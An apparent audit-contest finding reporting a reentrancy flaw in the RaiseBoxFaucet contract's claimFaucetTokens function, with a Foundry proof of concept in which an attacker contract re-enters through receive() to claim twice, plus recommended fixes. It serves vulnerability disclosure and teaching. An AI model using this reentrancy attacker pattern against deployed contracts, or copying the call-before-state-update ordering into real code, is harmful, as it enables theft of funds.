Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in claimFaucetTokens Allows Cooldown and Daily Limit Bypass

Root + Impact

Description

The `claimFaucetTokens()` function is vulnerable to a reentrancy attack. It transfers ETH using a low-level `.call` before updating the user's claim status. This allows a malicious contract to repeatedly call the function, bypassing the 3-day cooldown and daily claim limits, which can lead to the draining of the faucet's token and ETH funds.
The vulnerability exists because the external call to transfer ETH is made before the `lastClaimTime` and `dailyClaimCount` state variables are updated. This violates the Checks-Effects-Interactions pattern.
```solidity
function claimFaucetTokens() public {
// ... Checks ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ... more checks ...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// External call before state updates
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) {
revert RaiseBoxFaucet_EthTransferFailed();
}
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
}
// ...
}
// ...
// Effects are updated after the external call
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
// Interaction
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
```

Risk

Likelihood:



  • When a malicious contract calls claimFaucetTokens and implements a fallback/receive function that re-enters the function
    When the external call to send ETH triggers the malicious contract's fallback function before state variables are updated

Impact:


  • An attacker can create a contract with a `receive()` fallback function that re-enters `claimFaucetTokens()` multiple times within a single transaction. This allows the attacker to:
    * Bypass the `CLAIM_COOLDOWN` period.
    * Exceed the `dailyClaimLimit`.
    * Drain the faucet of its `RaiseBoxToken` and Sepolia ETH.
    This breaks the core functionality of the faucet and leads to a complete loss of funds.

Proof of Concept

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Attacker {
RaiseBoxFaucet public faucet;
uint256 public reentrancyCount = 0;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
if (reentrancyCount < 1) {
reentrancyCount++;
faucet.claimFaucetTokens();
}
}
}
contract ReentrancyTest is Test {
RaiseBoxFaucet faucet;
Attacker attacker;
function setUp() public {
faucet = new RaiseBoxFaucet(
"RaiseBoxToken",
"RBT",
1000 * 10**18,
0.005 ether,
0.5 ether
);
vm.deal(address(faucet), 1 ether);
attacker = new Attacker(payable(address(faucet)));
vm.warp(block.timestamp + 3 days); // Advance time to pass cooldown check
}
function testReentrancyExploit() public {
// 1. SETUP: Check initial state
// Attacker has no tokens and has not claimed before.
assertEq(faucet.balanceOf(address(attacker)), 0, "Attacker should have 0 tokens initially");
assertEq(faucet.getUserLastClaimTime(address(attacker)), 0, "Attacker should have no last claim time");
// 2. ATTACK: The attacker initiates the re-entrancy attack.
attacker.attack();
// 3. VERIFICATION: Check the aftermath of the attack.
// The attacker successfully claimed tokens twice.
uint256 expectedBalance = faucet.faucetDrip() * 2;
assertEq(faucet.balanceOf(address(attacker)), expectedBalance, "Attacker should have claimed tokens twice");
// The daily claim count was incremented twice.
assertEq(faucet.dailyClaimCount(), 2, "Daily claim count should be 2");
// The attacker's last claim time is set, preventing further claims until the cooldown passes.
assertTrue(faucet.getUserLastClaimTime(address(attacker)) > 0, "Attacker's last claim time should be set");
}
}
```
The test passes, confirming the vulnerability. The attacker successfully claims tokens twice in one transaction.
```
[PASS] testReentrancyExploit() (gas: 245346)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.41ms (14.31ms CPU time)
```

Recommended Mitigation

There are two primary ways to mitigate this reentrancy vulnerability:
1. **Follow the Checks-Effects-Interactions Pattern:** Update all state variables (`lastClaimTime`, `dailyClaimCount`) *before* making the external call to transfer ETH. This ensures that the contract's state is consistent before any external code is executed.
```solidity
function claimFaucetTokens() public {
// ... Checks ...
// --- Effects ---
// Update state before external call
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// --- Interactions ---
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ... logic to send ETH ...
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) {
revert RaiseBoxFaucet_EthTransferFailed();
}
// ...
}
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
```
2. **Use a Reentrancy Guard:** Implement a reentrancy guard, such as OpenZeppelin's `ReentrancyGuard`, to prevent re-entrant calls to the function. This is a widely-used and effective security measure.
```solidity
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
// ...
function claimFaucetTokens() public nonReentrant {
// ... existing logic ...
}
}
```
Applying either of these mitigations will resolve the vulnerability. Using both provides defense-in-depth.
Updates

Lead Judging Commences

inallhonesty Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.